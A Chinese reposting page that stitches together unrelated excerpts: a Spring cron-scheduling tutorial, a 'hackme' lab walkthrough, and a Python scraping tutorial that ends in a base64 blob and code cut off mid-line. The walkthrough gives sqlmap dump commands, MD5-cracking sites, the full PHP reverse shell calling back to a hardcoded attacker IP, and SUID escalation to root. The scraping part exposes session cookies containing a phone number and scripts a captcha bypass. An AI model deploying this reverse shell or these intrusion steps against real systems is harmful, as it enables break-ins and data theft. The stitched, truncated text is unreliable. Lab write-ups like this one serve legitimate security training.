说明:ref参数指定的即任务类,method指定的即需要运行的方法,cron及cronExpression表达式,具体写法这里不介绍了,详情见上篇文章附录。 <context:component-scan base-package="com.gy.mytask" />这个配置不消多说了,spring扫描注解用的。 到这里配置就完成了,是不是很简单。 第二种:使用注解形式 也许我们不想每写一个任务类还要在xml文件中配置下,我们可以使用注解@Scheduled,我们看看源文件中该注解的定义: Java代码 @Target({java.lang.annotation.ElementType.METHOD, java.lang.annotation.ElementType.ANNOTATION_TYPE}) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface Scheduled { public abstract String cron(); public abstract long fixedDelay(); public abstract long fixedRate(); } 可以看出该注解有三个方法或者叫参数,分别表示的意思是: cron:指定cron表达式 fixedDelay:官方文档解释:An interval-based trigger where the interval is measured from the completion time of the previous task. The time unit value is measured in milliseconds.即表示从上一个任务完成开始到下一个任务开始的间隔,单位是毫秒。 fixedRate:官方文档解释:An interval-based trigger where the interval is measured from the start time of the previous task. The time unit value is measured in milliseconds.即从上一个任务开始到下一个任务开始的间隔,单位是毫秒。 下面我来配置一下。 第一步:编写pojo Java代码 import org.springframework.scheduling.annotation.Scheduled; import org.springframework.stereotype.Component; @Component(“taskJob”) public class TaskJob { @Scheduled(cron = "0 0 3 ?") public void job1() { System.out.println(“任务进行中。。。”); } } 第二步:添加task相关的配置: Xml代码 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:context="http://www.springframework.org/schema/context" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:task="http://www.springframework.org/schema/task" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/jdbc/spring-jdbc-3.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd http://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-3.0.xsd" default-lazy-init="false"> <context:annotation-config /> <!—spring扫描注解的配置 --> <context:component-scan base-package="com.gy.mytask" /> <!—开启这个配置,spring才能识别@Scheduled注解 --> <task:annotation-driven scheduler="qbScheduler" mode="proxy"/> <task:scheduler id="qbScheduler" pool-size="10"/> 说明:理论上只需要加上<task:annotation-driven />这句配置就可以了,这些参数都不是必须的。 Ok配置完毕,当然spring task还有很多参数,我就不一一解释了,具体参考xsd文档http://www.springframework.org/schema/task/spring-task-3.0.xsd。 附录: cronExpression的配置说明,具体使用以及参数请百度google 字段 允许值 允许的特殊字符 秒 0-59 , - / 分 0-59 , - / 小时 0-23 , - / 日期 1-31 , - ? / L W C 月份 1-12 或者 JAN-DEC , - / 星期 1-7 或者 SUN-SAT , - ? / L C 年(可选) 留空, 1970-2099 , - / - 区间 通配符 ? 你不想设置那个字段 下面只例出几个式子 CRON表达式 含义 "0 0 12 ?" 每天中午十二点触发 "0 15 10 ? " 每天早上10:15触发 "0 15 10 ?" 每天早上10:15触发 "0 15 10 ? " 每天早上10:15触发 "0 15 10 ? 2005" 2005年的每天早上10:15触发 "0 14 ?" 每天从下午2点开始到2点59分每分钟一次触发 "0 0/5 14 ?" 每天从下午2点开始到2:55分结束每5分钟一次触发 "0 0/5 14,18 ?" 每天的下午2点至2:55和6点至6点55分两个时间段内每5分钟一次触发 "0 0-5 14 ?" 每天14:00至14:05每分钟一次触发 "0 10,44 14 ? 3 WED" 三月的每周三的14:10和14:44触发 "0 15 10 ? MON-FRI" 每个周一、周二、周三、周四、周五的10:15触发 Cron 表达式包括以下 7 个字段: 秒 分 小时 月内日期 月 周内日期 年(可选字段) 特殊字符 Cron 触发器利用一系列特殊字符,如下所示: 反斜线(/)字符表示增量值。例如,在秒字段中“5/15”代表从第 5 秒开始,每 15 秒一次。 问号(?)字符和字母 L 字符只有在月内日期和周内日期字段中可用。问号表示这个字段不包含具体值。所以,如果指定月内日期,可以在周内日期字段中插入“?”,表示周内日期值无关紧要。字母 L 字符是 last 的缩写。放在月内日期字段中,表示安排在当月最后一天执行。在周内日期字段中,如果“L”单独存在,就等于“7”,否则代表当月内周内日期的最后一个实例。所以“0L”表示安排在当月的最后一个星期日执行。 在月内日期字段中的字母(W)字符把执行安排在最靠近指定值的工作日。把“1W”放在月内日期字段中,表示把执行安排在当月的第一个工作日内。 井号()字符为给定月份指定具体的工作日实例。把“MON2”放在周内日期字段中,表示把任务安排在当月的第二个星期一。 星号()字符是通配字符,表示该字段可以接受任何可能的值。 字段 允许值 允许的特殊字符 秒 0-59 , - / 分 0-59 , - / 小时 0-23 , - / 日期 1-31 , - ? / L W C 月份 1-12 或者 JAN-DEC , - / 星期 1-7 或者 SUN-SAT , - ? / L C 年(可选) 留空, 1970-2099 , - / 表达式意义 "0 0 12 ?" 每天中午12点触发 "0 15 10 ? " 每天上午10:15触发 "0 15 10 ?" 每天上午10:15触发 "0 15 10 ? " 每天上午10:15触发 "0 15 10 ? 2005" 2005年的每天上午10:15触发 "0 14 ?" 在每天下午2点到下午2:59期间的每1分钟触发 "0 0/5 14 ?" 在每天下午2点到下午2:55期间的每5分钟触发 "0 0/5 14,18 ?" 在每天下午2点到2:55期间和下午6点到6:55期间的每5分钟触发 "0 0-5 14 ?" 在每天下午2点到下午2:05期间的每1分钟触发 "0 10,44 14 ? 3 WED" 每年三月的星期三的下午2:10和2:44触发 "0 15 10 ? MON-FRI" 周一至周五的上午10:15触发 "0 15 10 15 ?" 每月15日上午10:15触发 "0 15 10 L ?" 每月最后一日的上午10:15触发 "0 15 10 ? 6L" 每月的最后一个星期五上午10:15触发 "0 15 10 ? 6L 2002-2005" 2002年至2005年的每月的最后一个星期五上午10:15触发 "0 15 10 ? 63" 每月的第三个星期五上午10:15触发 每天早上6点 0 6 每两个小时 0 /2 晚上11点到早上8点之间每两个小时,早上八点 0 23-7/2,8 每个月的4号和每个礼拜的礼拜一到礼拜三的早上11点 0 11 4 1-3 1月1日早上4点 0 4 1 1 本篇文章为转载内容。原文链接:https://zhanghaiyang.blog.csdn.net/article/details/51397459。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-27 18:50:19
344
转载
转载文章
转载文章
...用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
转载文章
...具有服务器身份验证和数据传输加密功能 在爬虫时可能会遇到这样的报错(SSLError)这说明我们要爬取的网站没有SSL证书 处理:res = requests.get(url,verify=False) 二、cookie 通过记录用户信息来确定身份 1 模拟登陆 人人网保持登陆状态import requestsurl = 'http://www.renren.com/976686556/profile' 个人主界面headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36','Cookie':'anonymid=knvqe21amc6ghy; depovince=ZGQT; _r01_=1; taihe_bi\_sdk_uid=c2bd353cea6830a73eb74760fbc9fd5c; taihe_bi_sdk_session=9a91c\62f18e74ee26c3145bb49b4eb9e; ick_login=286c45d0-e571-4fb7-918a-46a9706\18110; first_login_flag=1; ln_uact=17315371375; ln_hurl=http://head.xiao\nei.com/photos/0/0/men_main.gif; wp_fold=0; jebecookies=ee811760-7bc0-43a9-\883c-0d041cb1baf0|||||; _de=A4C6B1A20CD5F525F9DA27654C2D2FDA; p=f5239823cd0af743a5f015652568b6036; t=42783075a815b6cef9f651ca18ff5c166; societyguester=42783075a815b6cef9f651ca18ff5c166; id=976686556; xnsid=f72459d7; ver=7.0; loginfrom=null'}res = requests.get(url,headers=headers) res 响应对象 html = res.textwith open('rr.html','w',encoding='utf-8') as file_obj:file_obj.write(res.text) 2 反反爬机制 12306查票import requests import json json.loads -- json类型的str -> python类型的字典def query():headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36','Cookie':'_uab_collina=159490169403897938828076; JSESSIONID=090F384AC50BE0F1AFA3892BE3F6DBE9; _jc_save_wfdc_flag=dc; _jc_save_fromStation=%u957F%u6C99%2CCSQ; _jc_save_toStation=%u5317%u4EAC%2CBJP; RAIL_DEVICEID=bbXqzYOPTc-SPgujxnGkCBr9t3sq0JQoMSYUdg-FxjyQ5IkfcPCNoreXmBAIh2HSrM9Z9awDR5onIQwy4EZ8pAhaGXWYBAH6etIlFc4dyxLudz525GAcRgVX5HLIxOE1orODUNSb9wvTBAJptPms1z5Pz5K6FXES; RAIL_EXPIRATION=1619479086609; _jc_save_toDate=2021-04-23; BIGipServerpool_passport=182714890.50215.0000; route=6f50b51faa11b987e576cdb301e545c4; _jc_save_fromDate=2021-04-26; BIGipServerportal=3067347210.16671.0000; BIGipServerotn=1725497610.50210.0000'}response = requests.get('https://kyfw.12306.cn/otn/leftTicket/query?leftTicketDTO.train_date=2021-\04-26&leftTicketDTO.from_station=CSQ&leftTicketDTO.to_station=BJP&purpose_codes=ADULT',headers=headers) print(response.content.decode('utf-8'))return response.json()['data']['result']for i in query(): print(i)tem_list = i.split('|') 定义一个标记 给每个数据做个标记 j = 0 技术特别 for n in tem_list: print(j,n) j += 1 通过以上的测试我们知道了 列出是下标索引为3的数据 软卧是下标索引为23的数据if tem_list[23] != '无' and tem_list[23] != '':print(tem_list[3],'有票',tem_list[23])else:print(tem_list[3],'无票') 三、session Session与cookie功能效果相同。Session与Cookie的区别在于Session是记录在服务端的,而Cookie是记录在客户端的。 由于cookie 是存在用户端,而且它本身存储的尺寸大小也有限,最关键是用户可以是可见的,并可以随意的修改,很不安全。那如何又要安全,又可以方便的全局读取信息呢?于是,这个时候,一种新的存储会话机制:session 诞生了 突破12306验证码import requestsreq = requests.session() 保持会话def login(): 笔记本 win7 python3.6 获取验证码图片pic_response = req.get('https://kyfw.12306.cn/passport/captcha/captcha-image?login_site=E&module=login&rand=sjrand')codeImage = pic_response.contentfn = open('code2.png','wb')fn.write(codeImage)fn.close() 从验证码图片的左上角 (0,0)codeStr = input('请输入验证码坐标:')headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36'}data = {'answer': codeStr,'rand': 'sjrand','login_site': 'E'}response = req.post('https://kyfw.12306.cn/passport/captcha/captcha-check',data=data,headers=headers)print(response.text)login() base64伪加密 根本不算是一种加密算法 只不过它的数据看上去更像密文而已 64个字符来表示任意的二进制数据的方法 使用 A-Z A-Z 0 - 9 + / 这64个字符进行加密 import base64url = '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